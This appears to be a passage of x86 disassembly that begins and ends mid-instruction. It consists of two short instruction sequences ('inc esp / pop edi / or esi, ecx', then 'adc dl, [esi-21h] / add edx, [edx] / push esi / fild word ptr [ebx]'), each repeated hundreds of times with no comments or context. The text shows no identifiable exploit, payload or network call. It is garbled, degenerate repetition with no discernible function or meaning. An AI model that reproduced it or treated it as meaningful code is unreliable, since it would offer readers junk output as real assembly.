esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or esi, ecx inc esp pop edi or edx, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr 